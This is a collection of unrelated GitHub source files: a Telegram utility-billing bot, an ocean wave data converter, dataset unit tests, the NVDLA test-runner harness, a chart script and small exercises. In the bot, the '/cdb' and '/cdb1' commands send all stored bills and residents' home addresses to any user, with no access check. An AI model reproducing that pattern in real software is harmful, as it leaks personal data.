types.InlineKeyboardButton('🏠На головну', callback_data='to_main')\n ]\n markup.add(*commands)\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('UPDATE bills SET paid = ? WHERE personal_account = ?', (True, bill))\n conn.commit()\n cursor.close()\n conn.close()\n bot.send_message(message.chat.id, f\"📄Рахунок {bill} було сплачено успішно!✅\\n\\nЗа адресою:\\n{address} прийде квитанція про оплату.\\n\\nЗалишились питання - напишіть адміністратору або зателефонуйте за телефоном⬇️\", reply_markup=markup)\n\ndef check_valid_personal_account(message, personal_account):\n if not check_input_validity(personal_account) or len(personal_account) != 10:\n bot.send_message(message.chat.id, \"❌ Введені дані некоректні. Будь ласка, введіть лише числове значення довжиною 10 символів.\")\n start_handler(message)\n return True\n \n@bot.message_handler(commands=['cdb'])\ndef view_all_users(message):\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT * FROM bills')\n rows = cursor.fetchall()\n\n if len(rows) == 0:\n bot.send_message(message.chat.id, \"База даних користувачів порожня.\")\n else:\n response = \"Усі користувачі:\\n\"\n for row in rows:\n response += f\"ID: {row[0]}, о/р: {row[1]}, тип: {row[2]}, new zone1: {row[3]}, new zone2: {row[4]}, old zone1: {row[5]}, old zone2: {row[6]}, paid:{row[7]}\\n\"\n bot.send_message(message.chat.id, response)\n\n cursor.close()\n conn.close()\n@bot.message_handler(commands=['cdb1'])\ndef get_all_addresses(message):\n conn = sqlite3.connect('users.db')\n cursor = conn.cursor()\n cursor.execute('SELECT * FROM addresses')\n rows = cursor.fetchall()\n if len(rows) == 0:\n bot.send_message(message.chat.id, \"База даних користувачів порожня.\")\n else:\n response = \"Усі адреси:\\n\"\n for row in rows:\n response += f\"ID: {row[0]}, о/р: {row[1]}, місто: {row[2]}, вулиця: {row[3]}, будинок: {row[4]}, підїзд: {row[5]}, квартира: {row[6]}\\n\"\n bot.send_message(message.chat.id, response)\n cursor.close()\n conn.close()\n \nbot.polling(none_stop=True)","repo_name":"chabanstas/tg_residential_utilites_bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":35126,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71956513048","text":"#!/usr/bin/env python\n\"\"\"\nProcessing data from AWAC instruments from the Department of Transport of Western Australia. The data information\nis stored in a kml file. Zip files are then downloaded, processed and converted into CF compliant NetCDF files.\n\nTODO\nwave, north magnetic ?? still unsure. Could be the same as waverider data\nwave significant height from pressure sensor ? or acoustic sensor ?\nis data already calibrated with status data? -> most likely\n\n- process data from binary file ? wpr parser similar to toolbox ? could be good for bad text files\n\"\"\"\nimport argparse\nimport glob\nimport os\nimport pickle\nimport shutil\nimport sys\nimport tempfile\nimport traceback\n\nimport pandas as pd\n\nfrom lib.awac.common_awac import ls_txt_files, metadata_parser, download_site_data, retrieve_sites_info_awac_kml, \\\n WIP_DIR, PICKLE_FILE, load_pickle_db\nfrom lib.awac.current_parser import gen_nc_current_deployment\nfrom lib.awac.status_parser import gen_nc_status_deployment\nfrom lib.awac.temp_parser import gen_nc_temp_deployment\nfrom lib.awac.tide_parser import gen_nc_tide_deployment\nfrom lib.awac.wave_parser import gen_nc_wave_deployment\nfrom imos_logging import IMOSLogging\n\n\ndef process_site(site_path, output_path, site_info):\n \"\"\"\n :param site_path:\n :param output_path:\n :param site_info:\n :return:\n \"\"\"\n site_ls = [f for f in glob.glob('{dir}/*'.format(dir=site_path)) if os.path.isdir(f)]\n\n for site_path in site_ls:\n\n \"\"\" if the site_code string value(as found in the KML) is not in the site path, we raise an error \"\"\"\n if site_info['site_code'] not in os.path.basename(os.path.normpath(site_path)):\n raise ValueError('{site_path} does not match site_code: {site_code} in KML'.format(\n site_path=os.path.basename(site_path),\n site_code=site_info['site_code'])\n )\n\n metadata_file = ls_txt_files(site_path)\n deployment_ls = [f for f in glob.glob('{dir}/*'.format(dir=site_path)) if os.path.isdir(f)]\n\n use_kml_metadata = False\n if not metadata_file:\n use_kml_metadata = True\n elif not metadata_file[0].endswith('_metadata.txt'):\n use_kml_metadata = True\n\n if use_kml_metadata:\n logger.warning('{site_path} does not have a \\'_metadata.txt\\' file in its path.\\n Using metadata'\n 'from KML instead'.format(site_path=os.path.basename(site_path))\n )\n # since no metadata file, we assume (correctly) that the folder name is equal to the site code value\n list_dir_sites = [x for x in os.listdir(site_path) if os.path.isdir(os.path.join(site_path, x))]\n metadata_location = pd.DataFrame(index=list_dir_sites,\n columns=['instrument_maker', 'instrument_model', 'comment'])\n metadata_location['instrument_maker'] = ['NORTEK'] * len(list_dir_sites)\n metadata_location['instrument_model'] = ['1 MHz AWAC'] * len(list_dir_sites)\n metadata_location['comment'] = [''] * len(list_dir_sites)\n\n location_info = site_info\n\n else:\n metadata_location, location_info = metadata_parser(metadata_file[0])\n\n metadata = [metadata_location, location_info]\n\n \"\"\"\n Creating a list of deployments, between metadata file and folders\n Deployment path is not always what is should be from the metadata file. Some deployment paths (folders) have\n added information such as \"{DEPLOYMENT_CODE} - reprocessed after ...\"\n We're trying to match the most likely string\n Also metadata file can be corrupted and have the same deployment written twice, and missing some\n \"\"\"\n\n \"\"\" removing possible parts after white space \"\"\"\n deployment_folder_ls = [os.path.basename(x.split(' ')[0]) for x in deployment_ls]\n deployment_metadata_ls = metadata_location.index.values\n\n \"\"\" comparing how many deployment folders with how many deployments in metadata file \"\"\"\n if len(deployment_folder_ls) == len(set(metadata_location.index.values)):\n deployment_ls_iterate = metadata_location.index.values\n elif len(deployment_folder_ls) > len(set(metadata_location.index.values)):\n deployment_ls_iterate = deployment_folder_ls # in that case\n\n for deployment in deployment_ls_iterate:\n \"\"\"\n deployment path is not always what is should be from the metadata file. So looking to match most likely\n string\n \"\"\"\n deployment_path = [s for s in deployment_ls if deployment in s][0]\n logger.info(\"Processing deployment: {deployment}\".format(deployment=deployment))\n\n if not os.path.exists(deployment_path):\n logger.error(\"{path} deployment does not exist\".format(path=deployment_path))\n err = True\n else:\n # try catch to keep on processing the rest of deployments in case one deployment is corrupted\n try:\n output_nc_path = gen_nc_wave_deployment(deployment_path, metadata, site_info,\n output_path=output_path)\n logger.info('NetCDF created {nc}'.format(nc=output_nc_path))\n except Exception as err:\n logger.error(str(err))\n logger.error(traceback.print_exc())\n\n try:\n output_nc_path = gen_nc_tide_deployment(deployment_path, metadata, site_info,\n output_path=output_path)\n logger.info('NetCDF created {nc}'.format(nc=output_nc_path))\n except Exception as err:\n logger.error(str(err))\n logger.error(traceback.print_exc())\n\n try:\n output_nc_path = gen_nc_temp_deployment(deployment_path, metadata, site_info,\n output_path=output_path)\n logger.info('NetCDF created {nc}'.format(nc=output_nc_path))\n except Exception as err:\n logger.error(str(err))\n logger.error(traceback.print_exc())\n\n try:\n output_nc_path = gen_nc_current_deployment(deployment_path, metadata, site_info,\n output_path=output_path)\n logger.info('NetCDF created {nc}'.format(nc=output_nc_path))\n except Exception as err:\n logger.error(str(err))\n logger.error(traceback.print_exc())\n\n try:\n output_nc_path = gen_nc_status_deployment(deployment_path, metadata, site_info,\n output_path=output_path)\n logger.info('NetCDF created {nc}'.format(nc=output_nc_path))\n except Exception as err:\n logger.error(str(err))\n logger.error(traceback.print_exc())\n\n \"\"\" once a site has been successfully processed, we log the md5 of the zip file to not reprocess it\n on the next run\n If any of the files to process return an error, the variable 'err' will exist. In that case, we don't record this\n site as being processed successfully, and the WHOLE site will be re-processed on the next run.\n \"\"\"\n if 'err' not in locals():\n previous_download = load_pickle_db(PICKLE_FILE)\n if previous_download is None:\n previous_download = dict()\n\n with open(PICKLE_FILE, 'wb') as p_write:\n previous_download[site_info['text_zip_url']] = site_info['zip_md5']\n pickle.dump(previous_download, p_write)\n\n\ndef args():\n \"\"\"\n define the script arguments\n :return: vargs\n \"\"\"\n parser = argparse.ArgumentParser(description=\n 'Creates FV01 NetCDF files (WAVE, TIDES...) from full WA_AWAC dataset.\\n '\n 'Prints out the path of the new locally generated FV01 file.')\n parser.add_argument('-o', '--output-path',\n dest='output_path',\n type=str,\n default=None,\n help=\"output directory of FV01 netcdf file. (Optional)\",\n required=False)\n vargs = parser.parse_args()\n\n if vargs.output_path is None:\n vargs.output_path = tempfile.mkdtemp()\n\n if not os.path.exists(vargs.output_path):\n try:\n os.makedirs(vargs.output_path)\n except Exception:\n raise ValueError('{path} not a valid path'.format(path=vargs.output_path))\n sys.exit(1)\n\n return vargs\n\n\nif __name__ == \"__main__\":\n \"\"\"\n Processing of the full WA dataset\n ./wa_awac_process\n \"\"\"\n vargs = args()\n\n global logger\n logger = IMOSLogging().logging_start(os.path.join(vargs.output_path, 'process.log'))\n if not os.path.exists(WIP_DIR):\n os.makedirs(WIP_DIR)\n\n sites_info = retrieve_sites_info_awac_kml()\n for _, site_code in enumerate(sites_info):\n site_info = sites_info[site_code]\n temporary_data_path, site_info = download_site_data(site_info) # returned site_info has extra md5 info\n\n site_name = site_info['site_code']\n try:\n if site_info['already_uptodate']:\n logger.info('{site_path} already up to date'.format(site_path=site_name))\n shutil.rmtree(temporary_data_path)\n continue\n\n process_site(temporary_data_path, vargs.output_path, site_info)\n\n except Exception as e:\n logger.error(str(e))\n logger.error(traceback.print_exc())\n\n if os.path.exists(temporary_data_path):\n shutil.rmtree(temporary_data_path)\n\n","repo_name":"aodn/data-services","sub_path":"AODN/AODN-WAVE-DM/DOT-WA-WAVE/wa_awac_process.py","file_name":"wa_awac_process.py","file_ext":"py","file_size_in_byte":9998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32786471098","text":"import string\nimport tempfile\nimport unittest\nfrom pathlib import Path\nfrom random import Random\n\nimport torch\nimport pandas as pd\n\nfrom dltool.data import FileSequenceDataset, transformable, TimeWindowsSequence\n\nSEED = 123456789\n\ndef generate_random_string(length, random):\n return ''.join(random.choice(string.ascii_uppercase) for _ in range(length))\n\n\ndef _new_metadata(random, length=10):\n return {generate_random_string(length, random): generate_random_string(length, random)\n for _ in range(10)}\n\n\ndef _new_data(random, length=10):\n return torch.randn(length, 2, 2, generator=random)\n\n\n\nclass TestFileSequenceDataset(unittest.TestCase):\n def setUp(self):\n self.random = Random(SEED)\n self.torch_gen = torch.random.manual_seed(SEED)\n self.tmp_dir = tempfile.TemporaryDirectory()\n self.tmp_dir_path = Path(self.tmp_dir.name)\n\n def _check_metadata(self, m1, m2):\n self.assertEqual(\n {k: v for k, v in m1.items() if k not in FileSequenceDataset._required_attrs}.items(),\n {k: v for k, v in m2.items() if k not in FileSequenceDataset._required_attrs}.items()\n )\n\n def _check_data(self, dataset, data, metadata = None):\n if metadata is not None:\n self._check_metadata(metadata, dataset.metadata)\n self.assertEqual(len(dataset), len(data))\n self.assertTrue((dataset[:] == data).all())\n\n def test_write_load(self):\n \"\"\"\n Creates a SequenceDataset with a random metadata in a tmp folder, writes a torch tensor\n and checks that it can be loaded, metadata is correct and data is correct.\n \"\"\"\n path = self.tmp_dir_path / \"test_create_load.seq\"\n data = _new_data(self.torch_gen)\n metadata = _new_metadata(self.random)\n # check creating, writing, and loading works\n dataset = FileSequenceDataset(path, metadata)\n dataset.write(data, processes=2)\n self._check_data(dataset, data, metadata)\n dataset2 = FileSequenceDataset(path)\n self._check_data(dataset2, data, dataset.metadata)\n # try to write to a specific index\n dataset.write(data[6:10], index=3, processes=2)\n dataset.write(data[3:6], index=7, processes=2)\n self._check_data(dataset, torch.cat([data[:3], data[6:10], data[3:6]]))\n\n def test_overwrite_and_loading(self):\n \"\"\"\n Checks that if file is exists, the file will be overwritten or not depending on the `overwrite` flag.\n Checks that if metadata is not provided and the file does not exist, the error is raised.\n \"\"\"\n path = self.tmp_dir_path / \"test_overwrite_and_loading.seq\"\n metadata = _new_metadata(self.random)\n data = _new_data(self.torch_gen)\n dataset = FileSequenceDataset(path, metadata)\n dataset.write(data)\n new_metadata = _new_metadata(self.random)\n new_data = _new_data(self.torch_gen)\n\n dataset = FileSequenceDataset(path, new_metadata)\n self._check_data(dataset, data, metadata | new_metadata)\n\n for attr in FileSequenceDataset._required_attrs:\n with self.assertWarns(Warning):\n dataset = FileSequenceDataset(path, {attr: None}, overwrite=False)\n self.assertTrue(dataset._attrs[attr] is None)\n\n dataset = FileSequenceDataset(path, new_metadata, overwrite=True)\n dataset.write(new_data)\n self._check_data(dataset, new_data, new_metadata)\n FileSequenceDataset(path)\n\n with self.assertRaises(FileNotFoundError):\n FileSequenceDataset(path.parent / \"non_existing_file.seq\")\n\n\n\nclass TestTransformable(unittest.TestCase):\n def setUp(self):\n self.random = Random(SEED)\n self.torch_gen = torch.random.manual_seed(SEED)\n\n @transformable\n class TensorDataset(torch.utils.data.Dataset):\n def __init__(self, data):\n self.data = data\n\n def __getitem__(self, index):\n return self.data[index]\n\n @transformable\n class A:\n pass\n\n self.transformable_class = TensorDataset\n self.no_getitem_class = A\n\n def test_transform(self):\n \"\"\"Checks that the transforms are applied to the data\"\"\"\n data = _new_data(self.torch_gen, 2)\n transform1 = lambda x: x + 1\n transform2 = lambda x: 2 * x\n ds = self.transformable_class(data)\n self.assertTrue(not hasattr(ds, \"transforms\"))\n ds.with_transforms([transform1, transform2])\n self.assertTrue(ds.transforms == [transform1, transform2])\n self.assertTrue((ds[:] == transform2(transform1(data))).all())\n ds = self.no_getitem_class()\n self.assertTrue(not hasattr(ds, \"with_transforms\"))\n\n def test_instance_sharing(self):\n \"\"\"Check that the transforms are not shared between instances\"\"\"\n transform1 = lambda x: x + 1\n transform2 = lambda x: 2 * x\n ds1 = self.transformable_class(torch.empty(1)).with_transforms([transform1])\n ds2 = self.transformable_class(torch.empty(1)).with_transforms([transform2])\n self.assertTrue(ds1.transforms == [transform1])\n self.assertTrue(ds2.transforms == [transform2])\n\n\n\nclass TestTimeWindowsSequence(unittest.TestCase):\n def setUp(self):\n class TimeSeq(pd.DatetimeIndex): pass\n\n start_time = pd.Timestamp(\"2022-01-01 00:00:00\")\n time_delta = pd.Timedelta(1, \"h\")\n ts = TimeSeq([start_time + i * time_delta for i in range(10)])\n ts.start_time, ts.time_delta = start_time, time_delta\n ts.end_time = ts.start_time + len(ts) * ts.time_delta # 2022-01-01 10:00:00\n\n small_delta = pd.Timedelta(1, 's')\n start_time2 = ts.start_time + small_delta # 2022-01-01 00:00:01\n time_delta2 = 2 * ts.time_delta\n ts2 = TimeSeq([start_time2 + i * time_delta2 for i in range(10)])\n ts2.start_time, ts2.time_delta = start_time2, time_delta2\n ts2.end_time = ts2.start_time + len(ts2) * ts2.time_delta # 2022-01-01 20:00:01\n\n stride = pd.Timedelta(30, 'm')\n intervals = [ts2.time_delta, 2 * ts2.time_delta] # 2h, 4h\n self.time_window_seq = TimeWindowsSequence([ts, ts2], intervals, stride=stride)\n\n\n def test_date_range(self):\n self.assertEqual(self.time_window_seq.start, pd.Timestamp(\"2022-01-01 00:00:01\"))\n self.assertEqual(self.time_window_seq.end, pd.Timestamp(\"2022-01-01 10:00:00\"))\n self.assertSequenceEqual(self.time_window_seq.intervals, [pd.Timedelta(2, 'h'), pd.Timedelta(4, 'h')])\n self.assertEqual(self.time_window_seq.reduce_s, False)\n self.assertEqual(self.time_window_seq.reduce_i, False)\n self.assertTrue(\n (self.time_window_seq.date_range == pd.date_range(self.time_window_seq.start, self.time_window_seq.end,\n freq=\"30min\", inclusive='left')).all())\n\n def test_len(self):\n self.assertEqual(len(self.time_window_seq), 8)\n\n def test_getitem_get_dates(self):\n def check(x, y):\n [x00, x01], [x10, x11] = x\n [y00, y01], [y10, y11] = y\n for a,b in zip([x00, x01, x10, x11], [y00, y01, y10, y11]):\n self.assertTrue((a == b).all())\n\n el0 = [\n [pd.DatetimeIndex(['2022-01-01 01:00:00', '2022-01-01 02:00:00']),\n pd.DatetimeIndex(['2022-01-01 00:00:01'])],\n [pd.DatetimeIndex(['2022-01-01 03:00:00', '2022-01-01 04:00:00', '2022-01-01 05:00:00', '2022-01-01 06:00:00']),\n pd.DatetimeIndex(['2022-01-01 02:00:01', '2022-01-01 04:00:01'])]\n ]\n check(self.time_window_seq[0], el0)\n check(self.time_window_seq.get_dates(0), el0)\n\n el3 = [\n [pd.DatetimeIndex(['2022-01-01 02:00:00', '2022-01-01 03:00:00']),\n pd.DatetimeIndex(['2022-01-01 02:00:01'])],\n [pd.DatetimeIndex(['2022-01-01 04:00:00', '2022-01-01 05:00:00', '2022-01-01 06:00:00', '2022-01-01 07:00:00']),\n pd.DatetimeIndex(['2022-01-01 04:00:01', '2022-01-01 06:00:01'])]\n ]\n check(self.time_window_seq[3], el3)\n check(self.time_window_seq.get_dates(3), el3)\n\n for i in range(len(self.time_window_seq)):\n left_bound = self.time_window_seq.date_range[i]\n right_bound = left_bound + sum(self.time_window_seq.intervals, pd.Timedelta(0))\n el = self.time_window_seq.get_dates(i)\n for x in el:\n for y in x:\n self.assertTrue(left_bound <= y[0] and y[-1] < right_bound)\n\n def test_get_indices_from_timerange_and_dates(self):\n left_bound = pd.Timestamp(\"2022-01-01 03:30:00\")\n right_bound = pd.Timestamp(\"2022-01-01 08:40:00\")\n indices_timerange = self.time_window_seq.get_indices_from_timerange(left_bound, right_bound)\n indices_dates = self.time_window_seq.get_indices_from_dates([left_bound, right_bound])\n self.assertEqual(indices_timerange, range(*indices_dates))\n for i in indices_timerange:\n el = self.time_window_seq.get_dates(i)\n for x in el:\n for y in x:\n self.assertTrue(left_bound <= y[0] and y[-1] < right_bound)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n\n\n\n\n","repo_name":"simplerick/dltool","sub_path":"tests/data_test.py","file_name":"data_test.py","file_ext":"py","file_size_in_byte":9303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28922434134","text":"def solution(nums):\n answer = 0\n how = len(nums)//2\n set_num = set(nums)\n if how >= len(set_num):\n return len(set_num)\n else:\n return how\n\nnums =[3,3,3,2,2,2]\nprint(solution(nums))","repo_name":"kssgit/Meerithm","sub_path":"김성수/프로그래머스 LV1/포켓몬.py","file_name":"포켓몬.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33038284856","text":"from __future__ import print_function\n\nimport argparse\nimport difflib\nimport errno\nimport os\nimport socket\nimport stat\nimport sys\nfrom datetime import datetime\n\nimport settings\n\n\nclass RunScript(object):\n \"\"\"Common base class for all RunScripts\n\n Providing basic options, and their defaults; help init test directory, logging\n \"\"\"\n\n def __init__(self):\n self.argParser = None\n self.options = None\n self.gild = \"NONE\"\n self.testMiscompare = False\n self.testError = False\n self.testResult = 0\n\n def printResult(self):\n if not self.testError and not self.testMiscompare:\n self.log(\"PPPP A SSSSS SSSSS\\n\"\n \"P P A A S S \\n\"\n \"PPPP AAAAA SSSSS SSSSS\\n\"\n \"P A A S S\\n\"\n \"P A A SSSSS SSSSS\\n\"),\n else:\n self.log(\"FFFFF A IIIII L \\n\"\n \"F A A I L \\n\"\n \"FFFF AAAAA I L \\n\"\n \"F A A I L \\n\"\n \"F A A IIIII LLLLL\\n\"),\n\n def initialize(self):\n self.argParser = argparse.ArgumentParser(\n description='Runscript to help setup, run, check unit test'\n )\n\n def parseArguments(self, argv=None):\n default_msg = ' [default %(default)s]'\n parser = self.argParser\n\n parser.add_argument(\n '-P', '--project', type=str, default='NVDLA',\n help='Set project name' + default_msg\n )\n parser.add_argument(\n '--os', choices=['linux'], default='linux',\n help='Choose device OS' + default_msg\n )\n parser.add_argument(\n '-m', '--module', type=str,\n help='Choose module under testing'\n )\n parser.add_argument(\n '-t', '--test', dest='testName', type=str,\n required=True,\n help='Test name'\n )\n parser.add_argument(\n '--guid', dest='testguid', type=str,\n help='Set test guid'\n )\n parser.add_argument(\n '--target', type=str,\n choices=['sim', 'ufpga'], default='sim',\n help='Set target' + default_msg\n )\n parser.add_argument(\n '--fuzzy', action='store_true', default=False,\n help='Allow image comparisons to be imprecise' + default_msg\n )\n parser.add_argument(\n '-o', '--olog', dest='logFile', default='testout.log',\n help='Log file name'\n )\n parser.add_argument(\n '--odir', dest='outputDir',\n type=str, default=settings.OUTPUT_DIR,\n help='Temporary output directory'\n )\n parser.add_argument(\n '--cmpgold', dest='compareGold',\n type=str, metavar='proj',\n help='Compare gold files, [proj] defaults to the current project'\n )\n parser.add_argument(\n '--cmpref', dest='compareRef',\n type=str, metavar='proj',\n help='Compare reference files'\n )\n parser.add_argument(\n '--testhome', dest='testHome',\n type=str, default=settings.TEST_HOME,\n help=\"Path to find test files\" + default_msg\n )\n parser.add_argument(\n '--goldhome', dest='goldHome',\n type=str, default=settings.GOLD_HOME,\n help=\"Path to find gold files\" + default_msg\n )\n parser.add_argument(\n '--refhome', dest='refHome',\n type=str, default=settings.REF_HOME,\n help=\"Path to find reference files\" + default_msg\n )\n\n debug_group = parser.add_argument_group(\n title='Debug options',\n description='Options to help debug test, infra, flow'\n )\n debug_group.add_argument(\n '--noclean',\n action='store_true', default=False,\n help=\"Don't clean output directory when test completes [default to clean]\"\n )\n debug_group.add_argument(\n '-x', '--timeout', type=int,\n help=' Number of seconds before test timeouts'\n )\n debug_group.add_argument(\n '--show', dest='showSimLogs',\n action='store_true', default=False,\n help=\"Fork test output to stdout\" + default_msg\n )\n debug_group.add_argument(\n '-d', '--debug', dest='debugLevel',\n type=int, default=0,\n help=\"Set debug level\" + default_msg\n )\n\n save_group = parser.add_mutually_exclusive_group()\n save_group.add_argument(\n '--savelead',\n action='store_true', default=False,\n help='Update lead files with test results if they mismatch'\n )\n save_group.add_argument(\n '--savegold',\n action='store_true', default=False,\n help='Update gold files with test results if they mismatch'\n )\n\n # we may add more connection type, so the group is required,\n # but only ssh here for now\n con_group = parser.add_mutually_exclusive_group(required=True)\n con_group.add_argument(\n '--ssh', action='store_true',\n help='Connect to device using ssh'\n )\n\n options = parser.parse_args(argv)\n self.options = options\n\n options.resultDir = os.path.join(\n options.outputDir, \"results\"\n )\n options.goldDir = os.path.join(\n options.goldHome,\n options.testName + \"_\" + options.testguid,\n options.project\n )\n\n def setReRunScript(self):\n rerunScript = os.path.join(\n self.options.outputDir,\n \"rerun_script\"\n )\n with open(rerunScript, 'w') as f:\n f.write(sys.executable + \" \")\n f.write(\" \".join(sys.argv))\n f.write('\\n')\n\n # Mark rerun_script as executable\n st = os.stat(rerunScript)\n os.chmod(rerunScript, st.st_mode | stat.S_IEXEC)\n\n def setupTestoutDirs(self):\n options = self.options\n out_dir = options.outputDir\n res_dir = options.resultDir\n\n # Make the directory that the test will run in\n # We don't want to clear directory contents beforehand\n # for fear of something silly like 'rm -rf /'\n RunUtils.mkdir_p(out_dir)\n\n # Clear and recreate the results directory\n if os.path.exists(res_dir):\n RunUtils.rmdir_rf(res_dir)\n RunUtils.mkdir_p(res_dir)\n\n def setupEnvironment(self):\n options = self.options\n\n self.setupTestoutDirs()\n\n self.logFile = open(\n os.path.join(options.outputDir, options.logFile),\n 'w'\n )\n\n self.setReRunScript()\n\n self.printPrologue()\n\n def printPrologue(self):\n date = datetime.now().strftime(\"%a %b %d %H:%M:%S %Y\")\n hostname = socket.gethostname()\n testname = 'Test ' + self.options.testName\n\n banner = '#' * 80\n self.log(banner)\n self.log(testname.center(80))\n self.log(banner)\n self.log(date + \" on \" + hostname)\n self.log(\"Command: \" + \" \".join(sys.argv))\n\n def runTest(self):\n pass\n\n def compareResults(self):\n # Skip over result comparison if test already failed\n if self.testError:\n return\n\n res_dir = self.options.resultDir\n gol_dir = self.options.goldDir\n\n # Generate md5 checksums\n test_fname = \"test.md5\"\n lead_fname = \"lead.md5\"\n gold_fname = \"gold.md5\"\n\n for filename in sorted(os.listdir(res_dir)):\n os.system(\n \"cd %s && md5sum %s >> %s\" %\n (res_dir, filename, test_fname)\n )\n\n test_path = os.path.join(res_dir, test_fname)\n lead_path = os.path.join(gol_dir, lead_fname)\n gold_path = os.path.join(gol_dir, gold_fname)\n\n test_exists = os.path.exists(test_path)\n lead_exists = os.path.exists(lead_path)\n gold_exists = os.path.exists(gold_path)\n\n if lead_exists:\n self.gild = \"LEAD\"\n elif gold_exists:\n self.gild = \"GOLD\"\n else:\n self.gild = \"NONE\"\n\n self.testMiscompare = False\n\n if not test_exists:\n if lead_exists or gold_exists:\n self.log(\"MISCOMPARE: No %s found\\n\" % test_fname)\n self.testMiscompare = True\n else:\n if not lead_exists and not gold_exists:\n self.log(\"GILD MISCOMPARE: No leads or golds\\n\")\n self.testMiscompare = True\n elif gold_exists:\n if RunUtils.diff(test_path, gold_path):\n self.log(\"GOLD MISCOMPARE: %s mismatches %s\\n\" % (test_fname, gold_fname))\n self.testMiscompare = True\n else:\n self.log(\"GOLD PASS: %s matches %s\\n\" % (test_fname, gold_fname))\n elif lead_exists:\n if RunUtils.diff(test_path, lead_path):\n self.log(\"LEAD MISCOMPARE: %s mismatches %s\\n\" % (test_fname, lead_fname))\n self.testMiscompare = True\n else:\n self.log(\"LEAD PASS: %s matches %s\\n\" % (test_fname, lead_fname))\n\n def gildTest(self):\n options = self.options\n if options.savelead:\n self.log(\"Saving leads...\")\n else:\n self.log(\"Saving golds...\")\n\n test_fname = \"test.md5\"\n test_path = os.path.join(options.resultDir, test_fname)\n\n if not os.path.exists(test_path):\n self.log(\"BYPASSING (no %s found)\\n\" % test_fname)\n return 0\n\n if os.path.exists(options.goldDir):\n RunUtils.rmdir_rf(options.goldDir)\n RunUtils.mkdir_p(options.goldDir)\n\n for filename in os.listdir(options.resultDir):\n if filename == test_fname:\n gild_fname = \"lead.md5\" if options.savelead else \"gold.md5\"\n else:\n gild_fname = filename\n\n file_path = os.path.join(options.resultDir, filename)\n gild_path = os.path.join(options.goldDir, gild_fname)\n os.system(\"cp %s %s\" % (file_path, gild_path))\n\n self.log(\"COMPLETE\\n\")\n\n def testFinish(self):\n # Save leads and golds if we miscompared\n if not self.testError and self.testMiscompare:\n if self.options.savelead or self.options.savegold:\n self.gildTest()\n\n self.printResult()\n\n if self.testError:\n self.testResult = 1 # FAIL\n else:\n code = {\n 'NONE': 0,\n 'LEAD': 16,\n 'GOLD': 32\n }\n self.testResult = code[self.gild] + self.testMiscompare\n\n def cleanUp(self):\n self.logFile.close()\n\n if not self.options.noclean:\n RunUtils.rmdir_rf(self.options.outputDir)\n\n def log(self, message):\n self.logFile.write(message)\n print(message)\n\n def exit(self, status):\n sys.exit(status)\n\n\nclass RunUtils(object):\n\n @staticmethod\n def mkdir_p(path):\n # Commented code below does not handle making more than one directory\n # Fallback to os.system() calls\n os.system(\"mkdir -p %s\" % path)\n # try:\n # os.mkdir(path)\n # except OSError as err:\n # if err.errno == errno.EEXIST and os.path.isdir(path):\n # pass\n # else:\n # raise\n\n @staticmethod\n def symlink_f(source, link_name):\n try:\n os.symlink(source, link_name)\n except OSError as err:\n if err.errno == errno.EEXIST:\n os.remove(link_name)\n os.symlink(source, link_name)\n else:\n raise\n\n @staticmethod\n def rmdir_rf(path):\n try:\n for root, dirs, files in os.walk(path, topdown=False):\n for file in files:\n os.remove(os.path.join(root, file))\n for dir in dirs:\n try:\n os.rmdir(os.path.join(root, dir))\n except OSError as err:\n if err.errno == errno.ENOTDIR:\n # This is a symlink\n os.remove(os.path.join(root, dir))\n else:\n raise\n os.rmdir(path)\n except OSError as err:\n print(err)\n\n @staticmethod\n def diff(afilepath, bfilepath):\n afile = open(afilepath, 'r')\n bfile = open(bfilepath, 'r')\n diff = difflib.ndiff(afile.readlines(), bfile.readlines())\n\n result = False\n for line in diff:\n if line[0:2] != \" \":\n # Line is not common to both sequences\n result = True\n\n afile.close()\n bfile.close()\n\n return result\n","repo_name":"nvdla/sw","sub_path":"regression/scripts/RunScript.py","file_name":"RunScript.py","file_ext":"py","file_size_in_byte":13048,"program_lang":"python","lang":"en","doc_type":"code","stars":448,"dataset":"github-code","pt":"31"} +{"seq_id":"70792196887","text":"from pyecharts import options as opts\nfrom pyecharts.charts import Geo\nfrom pyecharts.globals import ChartType\nimport random\nfrom pyecharts.render import make_snapshot\nfrom snapshot_phantomjs import snapshot\n\n\nclass Data:\n guangdong_city = [\"佛山市\", \"湛江市\", \"潮州市\", \"河源市\", \"江门市\", \"中山市\", \"珠海市\", \"深圳市\", \"东莞市\", \"韶关市\", \"清远市\", \"云浮市\", \"茂名市\", \"汕头市\",\n \"汕尾市\", \"揭阳市\", \"阳江市\", \"肇庆市\", \"广州市\", \"惠州市\", \"梅州市\"]\n\n def values(self: int = 30, end: int = 40) -> list:\n return [random.randint(self, end) for _ in range(21)]\n\n\ndef geo_guangdong(title) -> Geo:\n c = (\n Geo()\n .add_schema(maptype=\"广东\")\n .add(\n title,\n [list(z) for z in zip(Data.guangdong_city, Data.values())],\n type_=ChartType.HEATMAP,\n )\n .set_global_opts(\n visualmap_opts=opts.VisualMapOpts(max_=42), # is_piecewise=True),\n title_opts=opts.TitleOpts(title=\"广东省8月份各地市温度变化情况\"),\n )\n )\n return c\n\n\nfor i in range(5):\n str_date = \"8月\" + str(i + 1) + \"日\"\n make_snapshot(snapshot, geo_guangdong(str_date).render(),\n str(i + 1) + \".png\", pixel_ratio=1)\n","repo_name":"FAWC438/DataVisualization","sub_path":"part2/demo/map4.py","file_name":"map4.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11105383311","text":"#To find the lowest ans second lowest number from n given numbers\r\n#12-9-22\r\n#l&sl.py\r\n#By Anupam Kanoongo\r\n\r\nprint(\"Welcome to the Number Sorter 1.0\")\r\nprint()\r\nprint(\"Enter your numbers now\")\r\nprint()\r\n\r\ni = 1\r\nnum = int(input(\"Number %d = 